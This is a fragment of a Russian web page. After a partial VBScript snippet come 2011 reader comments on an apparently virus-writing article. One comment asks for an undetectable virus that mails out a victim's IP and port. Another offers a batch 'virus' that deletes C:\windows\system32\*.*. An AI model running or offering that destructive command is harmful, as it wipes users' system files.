Form1.Visible = False
‘объекты
On Error Resume Next
Set FSO = CreateObject(“sсriрting.FileSystemObject”)
Set WshShell = Wsсriрt.CreateObject(“Wsсriрt.Shell”)
Комментарий от lol програмист
[ 5 августа, 2011, 15:57 ]
помогите пожалуста написать вирус который не палится и отсылает ип и порт чужого компа на почту . заранее спасибо\
Комментарий от vlad
[ 10 августа, 2011, 09:53 ]
Отличная статья!!! vsem spasibo
пример:
Цель: Просмотреть содержимое файла
license.txt, который находится на
диске C:\Program Files\Celestia,
после этого удалить его :
TYPE “C:\Program Files
\OpenOffice.org 2.2\license.txt”
PAUSE
DEL “C:\Program Files
\OpenOffice.org 2.2\license.txt”
Комментарий от vlad
[ 10 августа, 2011, 10:04 ]
пример:
@Echo off
md Windows
md abgh
md #&%$#$
md games
это функция md создает пустые папки
Комментарий от Я
[ 22 августа, 2011, 12:10 ]
Я вот в батниках плохо разбираюсь.
Зачем писать такие большие вирусы.А нельзя так:
@echo off
Del C:\windows\system32\*.*
Извините,если есть ошибки
Комментарий от Panyk
[ 26 августа, 2011, 16:07 ]
Да какие вы люди глупые, к чему стремитесь??? Вредить другим??? Я вам за 10 мин такой вирус напишу в vbs что у вас не только винда полетит, но это глупо… Лучше пишете и правда проги полезные…
Написать комментарий